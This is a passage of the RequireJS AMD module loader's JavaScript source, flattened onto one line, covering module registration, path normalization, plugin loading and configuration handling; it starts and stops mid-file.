} function hasProp(obj, prop) { return hasOwn.call(obj, prop); } function getOwn(obj, prop) { return hasProp(obj, prop) && obj[prop]; } /** * Cycles over properties in an object and calls a function for each * property value. If the function returns a truthy value, then the * iteration is stopped. */ function eachProp(obj, func) { var prop; for (prop in obj) { if (hasProp(obj, prop)) { if (func(obj[prop], prop)) { break; } } } } /** * Simple function to mix in properties from source into target, * but only if target does not already have a property of the same name. */ function mixin(target, source, force, deepStringMixin) { if (source) { eachProp(source, function (value, prop) { if (force || !hasProp(target, prop)) { if (deepStringMixin && typeof value === 'object' && value && !isArray(value) && !isFunction(value) && !(value instanceof RegExp)) { if (!target[prop]) { target[prop] = {}; } mixin(target[prop], value, force, deepStringMixin); } else { target[prop] = value; } } }); } return target; } //Similar to Function.prototype.bind, but the 'this' object is specified //first, since it is easier to read/figure out what 'this' will be. function bind(obj, fn) { return function () { return fn.apply(obj, arguments); }; } function scripts() { return document.getElementsByTagName('script'); } function defaultOnError(err) { throw err; } //Allow getting a global that is expressed in //dot notation, like 'a.b.c'. function getGlobal(value) { if (!value) { return value; } var g = global; each(value.split('.'), function (part) { g = g[part]; }); return g; } /** * Constructs an error with a pointer to an URL with more information. * @param {String} id the error ID that maps to an ID on a web page. * @param {String} message human readable error. * @param {Error} [err] the original error, if there is one. * * @returns {Error} */ function makeError(id, msg, err, requireModules) { var e = new Error(msg + '\nhttp://requirejs.org/docs/errors.html#' + id); e.requireType = id; e.requireModules = requireModules; if (err) { e.originalError = err; } return e; } if (typeof define !== 'undefined') { //If a define is already in play via another AMD loader, //do not overwrite. return; } if (typeof requirejs !== 'undefined') { if (isFunction(requirejs)) { //Do not overwrite an existing requirejs instance. return; } cfg = requirejs; requirejs = undefined; } //Allow for a require config object if (typeof require !== 'undefined' && !isFunction(require)) { //assume it is a config object. cfg = require; require = undefined; } function newContext(contextName) { var inCheckLoaded, Module, context, handlers, checkLoadedTimeoutId, config = { //Defaults. Do not set a default for map //config to speed up normalize(), which //will run faster if there is no default. waitSeconds: 7, baseUrl: './', paths: {}, bundles: {}, pkgs: {}, shim: {}, config: {} }, registry = {}, //registry of just enabled modules, to speed //cycle breaking code when lots of modules //are registered, but not activated. enabledRegistry = {}, undefEvents = {}, defQueue = [], defined = {}, urlFetched = {}, bundlesMap = {}, requireCounter = 1, unnormalizedCounter = 1; /** * Trims the . and .. from an array of path segments. * It will keep a leading path segment if a .. will become * the first path segment, to help with module name lookups, * which act like paths, but can be remapped. But the end result, * all paths that use this function should look normalized. * NOTE: this method MODIFIES the input array. * @param {Array} ary the array of path segments. */ function trimDots(ary) { var i, part; for (i = 0; i < ary.length; i++) { part = ary[i]; if (part === '.') { ary.splice(i, 1); i -= 1; } else if (part === '..') { // If at the start, or previous value is still .., // keep them so that when converted to a path it may // still work when converted to a path, even though // as an ID it is less than ideal. In larger point // releases, may be better to just kick out an error. if (i === 0 || (i === 1 && ary[2] === '..') || ary[i - 1] === '..') { continue; } else if (i > 0) { ary.splice(i - 1, 2); i -= 2; } } } } /** * Given a relative module name, like ./something, normalize it to * a real name that can be mapped to a path. * @param {String} name the relative name * @param {String} baseName a real name that the name arg is relative * to. * @param {Boolean} applyMap apply the map config to the value. Should * only be done if this normalization is for a dependency ID. * @returns {String} normalized name */ function normalize(name, baseName, applyMap) { var pkgMain, mapValue, nameParts, i, j, nameSegment, lastIndex, foundMap, foundI, foundStarMap, starI, normalizedBaseParts, baseParts = (baseName && baseName.split('/')), map = config.map, starMap = map && map['*']; //Adjust any relative paths. if (name) { name = name.split('/'); lastIndex = name.length - 1; // If wanting node ID compatibility, strip .js from end // of IDs. Have to do this here, and not in nameToUrl // because node allows either .js or non .js to map // to same file. if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) { name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, ''); } // Starts with a '.' so need the baseName if (name[0].charAt(0) === '.' && baseParts) { //Convert baseName to array, and lop off the last part, //so that . matches that 'directory' and not name of the baseName's //module. For instance, baseName of 'one/two/three', maps to //'one/two/three.js', but we want the directory, 'one/two' for //this normalization. normalizedBaseParts = baseParts.slice(0, baseParts.length - 1); name = normalizedBaseParts.concat(name); } trimDots(name); name = name.join('/'); } //Apply map config if available. if (applyMap && map && (baseParts || starMap)) { nameParts = name.split('/'); outerLoop: for (i = nameParts.length; i > 0; i -= 1) { nameSegment = nameParts.slice(0, i).join('/'); if (baseParts) { //Find the longest baseName segment match in the config. //So, do joins on the biggest to smallest lengths of baseParts. for (j = baseParts.length; j > 0; j -= 1) { mapValue = getOwn(map, baseParts.slice(0, j).join('/')); //baseName segment has config, find if it has one for //this name. if (mapValue) { mapValue = getOwn(mapValue, nameSegment); if (mapValue) { //Match, update name to the new value. foundMap = mapValue; foundI = i; break outerLoop; } } } } //Check for a star map match, but just hold on to it, //if there is a shorter segment match later in a matching //config, then favor over this star map. if (!foundStarMap && starMap && getOwn(starMap, nameSegment)) { foundStarMap = getOwn(starMap, nameSegment); starI = i; } } if (!foundMap && foundStarMap) { foundMap = foundStarMap; foundI = starI; } if (foundMap) { nameParts.splice(0, foundI, foundMap); name = nameParts.join('/'); } } // If the name points to a package's name, use // the package main instead. pkgMain = getOwn(config.pkgs, name); return pkgMain ? pkgMain : name; } function removeScript(name) { if (isBrowser) { each(scripts(), function (scriptNode) { if (scriptNode.getAttribute('data-requiremodule') === name && scriptNode.getAttribute('data-requirecontext') === context.contextName) { scriptNode.parentNode.removeChild(scriptNode); return true; } }); } } function hasPathFallback(id) { var pathConfig = getOwn(config.paths, id); if (pathConfig && isArray(pathConfig) && pathConfig.length > 1) { //Pop off the first array value, since it failed, and //retry pathConfig.shift(); context.require.undef(id); //Custom require that does not do map translation, since //ID is "absolute", already mapped/resolved. context.makeRequire(null, { skipMap: true })([id]); return true; } } //Turns a plugin!resource to [plugin, resource] //with the plugin being undefined if the name //did not have a plugin prefix. function splitPrefix(name) { var prefix, index = name ? name.indexOf('!') : -1; if (index > -1) { prefix = name.substring(0, index); name = name.substring(index + 1, name.length); } return [prefix, name]; } /** * Creates a module mapping that includes plugin prefix, module * name, and path. If parentModuleMap is provided it will * also normalize the name via require.normalize() * * @param {String} name the module name * @param {String} [parentModuleMap] parent module map * for the module name, used to resolve relative names. * @param {Boolean} isNormalized: is the ID already normalized. * This is true if this call is done for a define() module ID. * @param {Boolean} applyMap: apply the map config to the ID. * Should only be true if this map is for a dependency. * * @returns {Object} */ function makeModuleMap(name, parentModuleMap, isNormalized, applyMap) { var url, pluginModule, suffix, nameParts, prefix = null, parentName = parentModuleMap ? parentModuleMap.name : null, originalName = name, isDefine = true, normalizedName = ''; //If no name, then it means it is a require call, generate an //internal name. if (!name) { isDefine = false; name = '_@r' + (requireCounter += 1); } nameParts = splitPrefix(name); prefix = nameParts[0]; name = nameParts[1]; if (prefix) { prefix = normalize(prefix, parentName, applyMap); pluginModule = getOwn(defined, prefix); } //Account for relative paths if there is a base name. if (name) { if (prefix) { if (isNormalized) { normalizedName = name; } else if (pluginModule && pluginModule.normalize) { //Plugin is loaded, use its normalize method. normalizedName = pluginModule.normalize(name, function (name) { return normalize(name, parentName, applyMap); }); } else { // If nested plugin references, then do not try to // normalize, as it will not normalize correctly. This // places a restriction on resourceIds, and the longer // term solution is not to normalize until plugins are // loaded and all normalizations to allow for async // loading of a loader plugin. But for now, fixes the // common uses. Details in #1131 normalizedName = name.indexOf('!') === -1 ? normalize(name, parentName, applyMap) : name; } } else { //A regular module. normalizedName = normalize(name, parentName, applyMap); //Normalized name may be a plugin ID due to map config //application in normalize. The map config values must //already be normalized, so do not need to redo that part. nameParts = splitPrefix(normalizedName); prefix = nameParts[0]; normalizedName = nameParts[1]; isNormalized = true; url = context.nameToUrl(normalizedName); } } //If the id is a plugin id that cannot be determined if it needs //normalization, stamp it with a unique ID so two matching relative //ids that may conflict can be separate. suffix = prefix && !pluginModule && !isNormalized ? '_unnormalized' + (unnormalizedCounter += 1) : ''; return { prefix: prefix, name: normalizedName, parentMap: parentModuleMap, unnormalized: !!suffix, url: url, originalName: originalName, isDefine: isDefine, id: (prefix ? prefix + '!' + normalizedName : normalizedName) + suffix }; } function getModule(depMap) { var id = depMap.id, mod = getOwn(registry, id); if (!mod) { mod = registry[id] = new context.Module(depMap); } return mod; } function on(depMap, name, fn) { var id = depMap.id, mod = getOwn(registry, id); if (hasProp(defined, id) && (!mod || mod.defineEmitComplete)) { if (name === 'defined') { fn(defined[id]); } } else { mod = getModule(depMap); if (mod.error && name === 'error') { fn(mod.error); } else { mod.on(name, fn); } } } function onError(err, errback) { var ids = err.requireModules, notified = false; if (errback) { errback(err); } else { each(ids, function (id) { var mod = getOwn(registry, id); if (mod) { //Set error on module, so it skips timeout checks. mod.error = err; if (mod.events.error) { notified = true; mod.emit('error', err); } } }); if (!notified) { req.onError(err); } } } /** * Internal method to transfer globalQueue items to this context's * defQueue. */ function takeGlobalQueue() { //Push all the globalDefQueue items into the context's defQueue if (globalDefQueue.length) { each(globalDefQueue, function(queueItem) { var id = queueItem[0]; if (typeof id === 'string') { context.defQueueMap[id] = true; } defQueue.push(queueItem); }); globalDefQueue = []; } } handlers = { 'require': function (mod) { if (mod.require) { return mod.require; } else { return (mod.require = context.makeRequire(mod.map)); } }, 'exports': function (mod) { mod.usingExports = true; if (mod.map.isDefine) { if (mod.exports) { return (defined[mod.map.id] = mod.exports); } else { return (mod.exports = defined[mod.map.id] = {}); } } }, 'module': function (mod) { if (mod.module) { return mod.module; } else { return (mod.module = { id: mod.map.id, uri: mod.map.url, config: function () { return getOwn(config.config, mod.map.id) || {}; }, exports: mod.exports || (mod.exports = {}) }); } } }; function cleanRegistry(id) { //Clean up machinery used for waiting modules. delete registry[id]; delete enabledRegistry[id]; } function breakCycle(mod, traced, processed) { var id = mod.map.id; if (mod.error) { mod.emit('error', mod.error); } else { traced[id] = true; each(mod.depMaps, function (depMap, i) { var depId = depMap.id, dep = getOwn(registry, depId); //Only force things that have not completed //being defined, so still in the registry, //and only if it has not been matched up //in the module already. if (dep && !mod.depMatched[i] && !processed[depId]) { if (getOwn(traced, depId)) { mod.defineDep(i, defined[depId]); mod.check(); //pass false? } else { breakCycle(dep, traced, processed); } } }); processed[id] = true; } } function checkLoaded() { var err, usingPathFallback, waitInterval = config.waitSeconds * 1000, //It is possible to disable the wait interval by using waitSeconds of 0. expired = waitInterval && (context.startTime + waitInterval) < new Date().getTime(), noLoads = [], reqCalls = [], stillLoading = false, needCycleCheck = true; //Do not bother if this call was a result of a cycle break. if (inCheckLoaded) { return; } inCheckLoaded = true; //Figure out the state of all the modules. eachProp(enabledRegistry, function (mod) { var map = mod.map, modId = map.id; //Skip things that are not enabled or in error state. if (!mod.enabled) { return; } if (!map.isDefine) { reqCalls.push(mod); } if (!mod.error) { //If the module should be executed, and it has not //been inited and time is up, remember it. if (!mod.inited && expired) { if (hasPathFallback(modId)) { usingPathFallback = true; stillLoading = true; } else { noLoads.push(modId); removeScript(modId); } } else if (!mod.inited && mod.fetched && map.isDefine) { stillLoading = true; if (!map.prefix) { //No reason to keep looking for unfinished //loading. If the only stillLoading is a //plugin resource though, keep going, //because it may be that a plugin resource //is waiting on a non-plugin cycle. return (needCycleCheck = false); } } } }); if (expired && noLoads.length) { //If wait time expired, throw error of unloaded modules. err = makeError('timeout', 'Load timeout for modules: ' + noLoads, null, noLoads); err.contextName = context.contextName; return onError(err); } //Not expired, check for a cycle. if (needCycleCheck) { each(reqCalls, function (mod) { breakCycle(mod, {}, {}); }); } //If still waiting on loads, and the waiting load is something //other than a plugin resource, or there are still outstanding //scripts, then just try back later. if ((!expired || usingPathFallback) && stillLoading) { //Something is still waiting to load. Wait for it, but only //if a timeout is not already in effect. if ((isBrowser || isWebWorker) && !checkLoadedTimeoutId) { checkLoadedTimeoutId = setTimeout(function () { checkLoadedTimeoutId = 0; checkLoaded(); }, 50); } } inCheckLoaded = false; } Module = function (map) { this.events = getOwn(undefEvents, map.id) || {}; this.map = map; this.shim = getOwn(config.shim, map.id); this.depExports = []; this.depMaps = []; this.depMatched = []; this.pluginMaps = {}; this.depCount = 0; /* this.exports this.factory this.depMaps = [], this.enabled, this.fetched */ }; Module.prototype = { init: function (depMaps, factory, errback, options) { options = options || {}; //Do not do more inits if already done. Can happen if there //are multiple define calls for the same module. That is not //a normal, common case, but it is also not unexpected. if (this.inited) { return; } this.factory = factory; if (errback) { //Register for errors on this module. this.on('error', errback); } else if (this.events.error) { //If no errback already, but there are error listeners //on this module, set up an errback to pass to the deps. errback = bind(this, function (err) { this.emit('error', err); }); } //Do a copy of the dependency array, so that //source inputs are not modified. For example //"shim" deps are passed in here directly, and //doing a direct modification of the depMaps array //would affect that config. this.depMaps = depMaps && depMaps.slice(0); this.errback = errback; //Indicate this module has be initialized this.inited = true; this.ignore = options.ignore; //Could have option to init this module in enabled mode, //or could have been previously marked as enabled. However, //the dependencies are not known until init is called. So //if enabled previously, now trigger dependencies as enabled. if (options.enabled || this.enabled) { //Enable this module and dependencies. //Will call this.check() this.enable(); } else { this.check(); } }, defineDep: function (i, depExports) { //Because of cycles, defined callback for a given //export can be called more than once. if (!this.depMatched[i]) { this.depMatched[i] = true; this.depCount -= 1; this.depExports[i] = depExports; } }, fetch: function () { if (this.fetched) { return; } this.fetched = true; context.startTime = (new Date()).getTime(); var map = this.map; //If the manager is for a plugin managed resource, //ask the plugin to load it now. if (this.shim) { context.makeRequire(this.map, { enableBuildCallback: true })(this.shim.deps || [], bind(this, function () { return map.prefix ? this.callPlugin() : this.load(); })); } else { //Regular dependency. return map.prefix ? this.callPlugin() : this.load(); } }, load: function () { var url = this.map.url; //Regular dependency. if (!urlFetched[url]) { urlFetched[url] = true; context.load(this.map.id, url); } }, /** * Checks if the module is ready to define itself, and if so, * define it. */ check: function () { if (!this.enabled || this.enabling) { return; } var err, cjsModule, id = this.map.id, depExports = this.depExports, exports = this.exports, factory = this.factory; if (!this.inited) { // Only fetch if not already in the defQueue. if (!hasProp(context.defQueueMap, id)) { this.fetch(); } } else if (this.error) { this.emit('error', this.error); } else if (!this.defining) { //The factory could trigger another require call //that would result in checking this module to //define itself again. If already in the process //of doing that, skip this work. this.defining = true; if (this.depCount < 1 && !this.defined) { if (isFunction(factory)) { //If there is an error listener, favor passing //to that instead of throwing an error. However, //only do it for define()'d modules. require //errbacks should not be called for failures in //their callbacks (#699). However if a global //onError is set, use that. if ((this.events.error && this.map.isDefine) || req.onError !== defaultOnError) { try { exports = context.execCb(id, factory, depExports, exports); } catch (e) { err = e; } } else { exports = context.execCb(id, factory, depExports, exports); } // Favor return value over exports. If node/cjs in play, // then will not have a return value anyway. Favor // module.exports assignment over exports object. if (this.map.isDefine && exports === undefined) { cjsModule = this.module; if (cjsModule) { exports = cjsModule.exports; } else if (this.usingExports) { //exports already set the defined value. exports = this.exports; } } if (err) { err.requireMap = this.map; err.requireModules = this.map.isDefine ? [this.map.id] : null; err.requireType = this.map.isDefine ? 'define' : 'require'; return onError((this.error = err)); } } else { //Just a literal value exports = factory; } this.exports = exports; if (this.map.isDefine && !this.ignore) { defined[id] = exports; if (req.onResourceLoad) { var resLoadMaps = []; each(this.depMaps, function (depMap) { resLoadMaps.push(depMap.normalizedMap || depMap); }); req.onResourceLoad(context, this.map, resLoadMaps); } } //Clean up cleanRegistry(id); this.defined = true; } //Finished the define stage. Allow calling check again //to allow define notifications below in the case of a //cycle. this.defining = false; if (this.defined && !this.defineEmitted) { this.defineEmitted = true; this.emit('defined', this.exports); this.defineEmitComplete = true; } } }, callPlugin: function () { var map = this.map, id = map.id, //Map already normalized the prefix. pluginMap = makeModuleMap(map.prefix); //Mark this as a dependency for this plugin, so it //can be traced for cycles. this.depMaps.push(pluginMap); on(pluginMap, 'defined', bind(this, function (plugin) { var load, normalizedMap, normalizedMod, bundleId = getOwn(bundlesMap, this.map.id), name = this.map.name, parentName = this.map.parentMap ? this.map.parentMap.name : null, localRequire = context.makeRequire(map.parentMap, { enableBuildCallback: true }); //If current map is not normalized, wait for that //normalized name to load instead of continuing. if (this.map.unnormalized) { //Normalize the ID if the plugin allows it. if (plugin.normalize) { name = plugin.normalize(name, function (name) { return normalize(name, parentName, true); }) || ''; } //prefix and name should already be normalized, no need //for applying map config again either. normalizedMap = makeModuleMap(map.prefix + '!' + name, this.map.parentMap, true); on(normalizedMap, 'defined', bind(this, function (value) { this.map.normalizedMap = normalizedMap; this.init([], function () { return value; }, null, { enabled: true, ignore: true }); })); normalizedMod = getOwn(registry, normalizedMap.id); if (normalizedMod) { //Mark this as a dependency for this plugin, so it //can be traced for cycles. this.depMaps.push(normalizedMap); if (this.events.error) { normalizedMod.on('error', bind(this, function (err) { this.emit('error', err); })); } normalizedMod.enable(); } return; } //If a paths config, then just load that file instead to //resolve the plugin, as it is built into that paths layer. if (bundleId) { this.map.url = context.nameToUrl(bundleId); this.load(); return; } load = bind(this, function (value) { this.init([], function () { return value; }, null, { enabled: true }); }); load.error = bind(this, function (err) { this.inited = true; this.error = err; err.requireModules = [id]; //Remove temp unnormalized modules for this module, //since they will never be resolved otherwise now. eachProp(registry, function (mod) { if (mod.map.id.indexOf(id + '_unnormalized') === 0) { cleanRegistry(mod.map.id); } }); onError(err); }); //Allow plugins to load other code without having to know the //context or how to 'complete' the load. load.fromText = bind(this, function (text, textAlt) { /*jslint evil: true */ var moduleName = map.name, moduleMap = makeModuleMap(moduleName), hasInteractive = useInteractive; //As of 2.1.0, support just passing the text, to reinforce //fromText only being called once per resource. Still //support old style of passing moduleName but discard //that moduleName in favor of the internal ref. if (textAlt) { text = textAlt; } //Turn off interactive script matching for IE for any define //calls in the text, then turn it back on at the end. if (hasInteractive) { useInteractive = false; } //Prime the system by creating a module instance for //it. getModule(moduleMap); //Transfer any config to this other module. if (hasProp(config.config, id)) { config.config[moduleName] = config.config[id]; } try { req.exec(text); } catch (e) { return onError(makeError('fromtexteval', 'fromText eval for ' + id + ' failed: ' + e, e, [id])); } if (hasInteractive) { useInteractive = true; } //Mark this as a dependency for the plugin //resource this.depMaps.push(moduleMap); //Support anonymous modules. context.completeLoad(moduleName); //Bind the value of that module to the value for this //resource ID. localRequire([moduleName], load); }); //Use parentName here since the plugin's name is not reliable, //could be some weird string with no path that actually wants to //reference the parentName's path. plugin.load(map.name, localRequire, load, config); })); context.enable(pluginMap, this); this.pluginMaps[pluginMap.id] = pluginMap; }, enable: function () { enabledRegistry[this.map.id] = this; this.enabled = true; //Set flag mentioning that the module is enabling, //so that immediate calls to the defined callbacks //for dependencies do not trigger inadvertent load //with the depCount still being zero. this.enabling = true; //Enable each dependency each(this.depMaps, bind(this, function (depMap, i) { var id, mod, handler; if (typeof depMap === 'string') { //Dependency needs to be converted to a depMap //and wired up to this module. depMap = makeModuleMap(depMap, (this.map.isDefine ? this.map : this.map.parentMap), false, !this.skipMap); this.depMaps[i] = depMap; handler = getOwn(handlers, depMap.id); if (handler) { this.depExports[i] = handler(this); return; } this.depCount += 1; on(depMap, 'defined', bind(this, function (depExports) { if (this.undefed) { return; } this.defineDep(i, depExports); this.check(); })); if (this.errback) { on(depMap, 'error', bind(this, this.errback)); } else if (this.events.error) { // No direct errback on this module, but something // else is listening for errors, so be sure to // propagate the error correctly. on(depMap, 'error', bind(this, function(err) { this.emit('error', err); })); } } id = depMap.id; mod = registry[id]; //Skip special modules like 'require', 'exports', 'module' //Also, don't call enable if it is already enabled, //important in circular dependency cases. if (!hasProp(handlers, id) && mod && !mod.enabled) { context.enable(depMap, this); } })); //Enable each plugin that is used in //a dependency eachProp(this.pluginMaps, bind(this, function (pluginMap) { var mod = getOwn(registry, pluginMap.id); if (mod && !mod.enabled) { context.enable(pluginMap, this); } })); this.enabling = false; this.check(); }, on: function (name, cb) { var cbs = this.events[name]; if (!cbs) { cbs = this.events[name] = []; } cbs.push(cb); }, emit: function (name, evt) { each(this.events[name], function (cb) { cb(evt); }); if (name === 'error') { //Now that the error handler was triggered, remove //the listeners, since this broken Module instance //can stay around for a while in the registry. delete this.events[name]; } } }; function callGetModule(args) { //Skip modules already defined. if (!hasProp(defined, args[0])) { getModule(makeModuleMap(args[0], null, true)).init(args[1], args[2]); } } function removeListener(node, func, name, ieName) { //Favor detachEvent because of IE9 //issue, see attachEvent/addEventListener comment elsewhere //in this file. if (node.detachEvent && !isOpera) { //Probably IE. If not it will throw an error, which will be //useful to know. if (ieName) { node.detachEvent(ieName, func); } } else { node.removeEventListener(name, func, false); } } /** * Given an event from a script node, get the requirejs info from it, * and then removes the event listeners on the node. * @param {Event} evt * @returns {Object} */ function getScriptData(evt) { //Using currentTarget instead of target for Firefox 2.0's sake. Not //all old browsers will be supported, but this one was easy enough //to support and still makes sense. var node = evt.currentTarget || evt.srcElement; //Remove the listeners once here. removeListener(node, context.onScriptLoad, 'load', 'onreadystatechange'); removeListener(node, context.onScriptError, 'error'); return { node: node, id: node && node.getAttribute('data-requiremodule') }; } function intakeDefines() { var args; //Any defined modules in the global queue, intake them now. takeGlobalQueue(); //Make sure any remaining defQueue items get properly processed. while (defQueue.length) { args = defQueue.shift(); if (args[0] === null) { return onError(makeError('mismatch', 'Mismatched anonymous define() module: ' + args[args.length - 1])); } else { //args are id, deps, factory. Should be normalized by the //define() function. callGetModule(args); } } context.defQueueMap = {}; } context = { config: config, contextName: contextName, registry: registry, defined: defined, urlFetched: urlFetched, defQueue: defQueue, defQueueMap: {}, Module: Module, makeModuleMap: makeModuleMap, nextTick: req.nextTick, onError: onError, /** * Set a configuration for the context. * @param {Object} cfg config object to integrate. */ configure: function (cfg) { //Make sure the baseUrl ends in a slash. if (cfg.baseUrl) { if (cfg.baseUrl.charAt(cfg.baseUrl.length - 1) !== '/') { cfg.baseUrl += '/'; } } // Convert old style urlArgs string to a function. if (typeof cfg.urlArgs === 'string') { var urlArgs = cfg.urlArgs; cfg.urlArgs = function(id, url) { return (url.indexOf('?') === -1 ? '?' : '&') + urlArgs; }; } //Save off the paths since they require special processing, //they are additive. var shim = config.shim, objs = { paths: true, bundles: true, config: true, map: true }; eachProp(cfg, function (value, prop) { if (objs[prop]) { if (!config[prop]) { config[prop] = {}; } mixin(config[prop], value, true, true); } else { config[prop] = value; } }); //Reverse map the bundles if (cfg.bundles) { eachProp(cfg.bundles, function (value, prop) { each(value, function (v) { if (v !== prop) { bundlesMap[v] = prop; } }); }); } //Merge shim if (cfg.shim) { eachProp(cfg.shim, function (value, id) { //Normalize the structure if (isArray(value)) { value = { deps: value }; } if ((value.exports || value.init) && !value.exportsFn) { value.exportsFn = context.makeShimExports(value); } shim[id] = value; }); config.shim = shim; } //Adjust packages if necessary. if (cfg.packages) { each(cfg.packages, function (pkgObj) { var location, name; pkgObj = typeof pkgObj === 'string' ? {name: pkgObj} : pkgObj; name = pkgObj.name; location = pkgObj.location; if (location) { config.paths[name] = pkgObj.location; } //Save pointer to main module ID for pkg name. //Remove leading dot in main, so main paths are normalized, //and remove any trailing .js, since different package //envs have different conventions: some use a module name, //some use a file name. config.pkgs[name] = pkgObj.name + '/' + (pkgObj.main || 'main') .replace(currDirRegExp, '') .replace(jsSuffixRegExp, ''); }); } //If there are any "waiting to execute" modules in the registry, //update the maps for them, since their info, like URLs to load, //may have changed. eachProp(registry, function (mod, id) { //If module already has init called, since it is too //late to modify them, and ignore unnormalized ones //since they are transient. if (!mod.inited && !mod.map.unnormalized) { mod.map = makeModuleMap(id, null, true); } }); //If a deps array or a config callback is specified, then call //require with those args. This is useful when require is defined as a //config object before require.js is loaded. if (cfg.deps || cfg.callback) { context.require(cfg.deps || [], cfg.callback); } }, makeShimExports: function (value) { function fn() { var ret; if (value.init) { ret = value.init.apply(global, arguments); } return ret || (value.exports && getGlobal(value.exports)); } return fn; }, makeRequire: function (relMap, options) { options = options || {}; function localRequire(deps, callback, errback) { var id, map, requireMod; if (options.enableBuildCallback && callback && isFunction(callback)) { callback.__requireJsBuild = true; } if (typeof deps === 'string') { if (isFunction(callback)) { //Invalid call return onError(makeError('requireargs', 'Invalid require call'), errback); } //If require|exports|module are requested, get the //value for them from the special handlers. Caveat: //this only works while module is being defined. if (relMap && hasProp(handlers, deps)) { return handlers[deps](registry[relMap.id]); } //Synchronous access to one module. If require.get is //available (as in the Node adapter), prefer that. if (req.get) { return req.get(context, deps, relMap, localRequire); } //Normalize module name, if it contains . or .. map = makeModuleMap(deps, relMap, false, true); id = map.id; if (!hasProp(defined, id)) { return onError(makeError('notloaded', 'Module name "' + id + '" has not been loaded yet for context: ' + contextName + (relMap ? '' : '. Use require([])'))); } return defined[id]; } //Grab defines waiting in the global queue. intakeDefines(); //Mark all the dependencies as needing to be loaded. context.nextTick(function () { //Some defines could have been added since the //require call, collect them. intakeDefines(); requireMod = getModule(makeModuleMap(null, relMap)); //Store if map config should be applied to this require //call for dependencies. requireMod.skipMap = options.skipMap; requireMod.init(deps, callback, errback, { enabled: true }); checkLoaded(); }); return localRequire; } mixin(localRequire, { isBrowser: isBrowser, /** * Converts a module name + .extension into an URL path. * *Requires* the use of a module name. It does not support using * plain URLs like nameToUrl. */ toUrl: function (moduleNamePlusExt) { var ext, index = moduleNamePlusExt.lastIndexOf('.'), segment = moduleNamePlusExt.split('/')[0], isRelative = segment === '.' || segment === '..'; //Have a file extension alias, and it is not the //dots from a relative path. if (index !== -1 && (!isRelative || index > 1)) { ext = moduleNamePlusExt.substring(index, moduleNamePlusExt.length); moduleNamePlusExt = moduleNamePlusExt.substring(0, index); } return context.nameToUrl(normalize(moduleNamePlusExt, relMap && relMap.id, true), ext, true); }, defined: function (id) { return hasProp(defined, makeModuleMap(id, relMap, false, true).id); }, specified: function (id) { id = makeModuleMap(id, relMap, false, true).id; return hasProp(defined, id) || hasProp(registry, id); } }); //Only allow undef on top level require calls if (!relMap) { localRequire.undef = function (id) { //Bind any waiting define() calls to this context, //fix for #408 takeGlobalQueue(); var map = makeModuleMap(id, relMap, true), mod = getOwn(registry, id); mod.undefed = true; removeScript(id); delete defined[id]; delete urlFetched[map.url]; delete undefEvents[id]; //Clean queued defines too. Go backwards //in array so that the splices do not //mess up the iteration. eachReverse(defQueue, function(args, i) { if (args[0] === id) { defQueue.splice(i, 1); } }); delete context.defQueueMap[id]; if (mod) { //Hold on to listeners in case the //module will be attempted to be reloaded //using a different config. if (mod.events.defined) { undefEvents[id] = mod.events; } cleanRegistry(id); } }; } return localRequire; }, /** * Called to enable a module if it is still in the registry * awaiting enablement. A second arg, parent, the parent module, * is passed in for context, when this method is overridden by * the optimizer. Not shown here to keep code compact. */ enable: function (depMap) { var mod = getOwn(registry, depMap.id); if (mod) { getModule(depMap).enable(); } }, /** * Internal method used by environment adapters to complete a load event. * A load event could be a script load or just a load pass from a synchronous * load call. * @param {String} moduleName the name of the module to potentially complete. */ completeLoad: function (moduleName) { var found, args, mod, shim = getOwn(config.shim, moduleName) || {}, shExports = shim.exports; takeGlobalQueue(); while (defQueue.length) { args = defQueue.shift(); if (args[0] === null) { args[0] = moduleName; //If already found an anonymous module and bound it //to this name, then this is some other anon module //waiting for its completeLoad to fire. if (found) { break; } found = true; } else if (args[0] === moduleName) { //Found matching define call for this script! found = true; } callGetModule(args); } context.defQueueMap = {}; //Do this after the cycle of callGetModule in case the result //of those calls/init calls changes the registry. mod = getOwn(registry, moduleName); if (!found && !hasProp(defined, moduleName) && mod && !mod.inited) { if (config.enforceDefine && (!shExports || !getGlobal(shExports))) { if (hasPathFallback(moduleName)) { return; } else { return onError(makeError('nodefine', 'No define call for ' + moduleName, null, [moduleName])); } } else { //A script that does not call define(), so just simulate //the call for it. callGetModule([moduleName, (shim.deps || []), shim.exportsFn]); } } checkLoaded(); }, /** * Converts a module name to a file path. Supports cases where * moduleName may actually be just an URL. * Note that it **does not** call normalize on the moduleName, * it is assumed to have already been normalized. This is an * internal API, not a public one. Use toUrl for the public API. */ nameToUrl: function (moduleName, ext, skipExt) { var paths, syms, i, parentModule, url, parentPath, bundleId, pkgMain = getOwn(config.pkgs, moduleName); if (pkgMain) { moduleName = pkgMain; } bundleId = getOwn(bundlesMap, moduleName); if (bundleId) { return context.nameToUrl(bundleId, ext, skipExt); } //If a colon is in the URL, it indicates a protocol is used and it is just //an URL to a file, or if it starts with a slash, contains a query arg (i.e. ?) //or ends with .js, then assume the user meant to use an url and not a module id. //The slash is important for protocol-less URLs as well as full paths. if (req.jsExtRegExp.test(moduleName)) { //Just a plain path, not module name lookup, so just return it. //Add extension if it is included. This is a bit wonky, only non-.js things pass //an extension, this method probably needs to be reworked. url = moduleName + (ext || ''); } else { //A module that needs to be converted to a path. paths = config.paths; syms = moduleName.split('/'); //For each module name segment, see if there is a path //registered for it. Start with most specific name //and work up from it. for (i = syms.length; i > 0; i -= 1) { parentModule = syms.slice(0, i).join('/'); parentPath = getOwn(paths, parentModule); if (parentPath) { //If an array, it means there are a few choices, //Choose the one that is desired if (isArray(parentPath)) { parentPath = parentPath[0]; } syms.splice(0, i, parentPath); break; } } //Join the path parts together, then figure out if baseUrl is needed. url = syms.join('/'); url += (ext || (/^data\:|^blob\:|\?/.test(url) || skipExt ? '' : '.js')); url = (url.charAt(0) === '/' || url.match(/^[\w\+\.\-]+:/) ? '' : config.baseUrl) + url; } return config.urlArgs && !/^blob\:/.test(url) ? url + config.urlArgs(moduleName, url) : url; }, //Delegates to req.load. Broken out as a separate function to //allow overriding in the optimizer. load: function (id, url) { req.load(context, id, url); }, /** * Executes a module callback function. Broken out as a separate function * solely to allow the build system to sequence the files in the built * layer in the right sequence. * * @private */ execCb: function (name, callback, args, exports) { return callback.apply(exports, args); }, /** * callback for script loads, used to check status of loading. * * @param {Event} evt the event from the browser for the script * that was loaded. */ onScriptLoad: function (evt) { //Using currentTarget instead of target for Firefox 2.0's sake. Not //all old 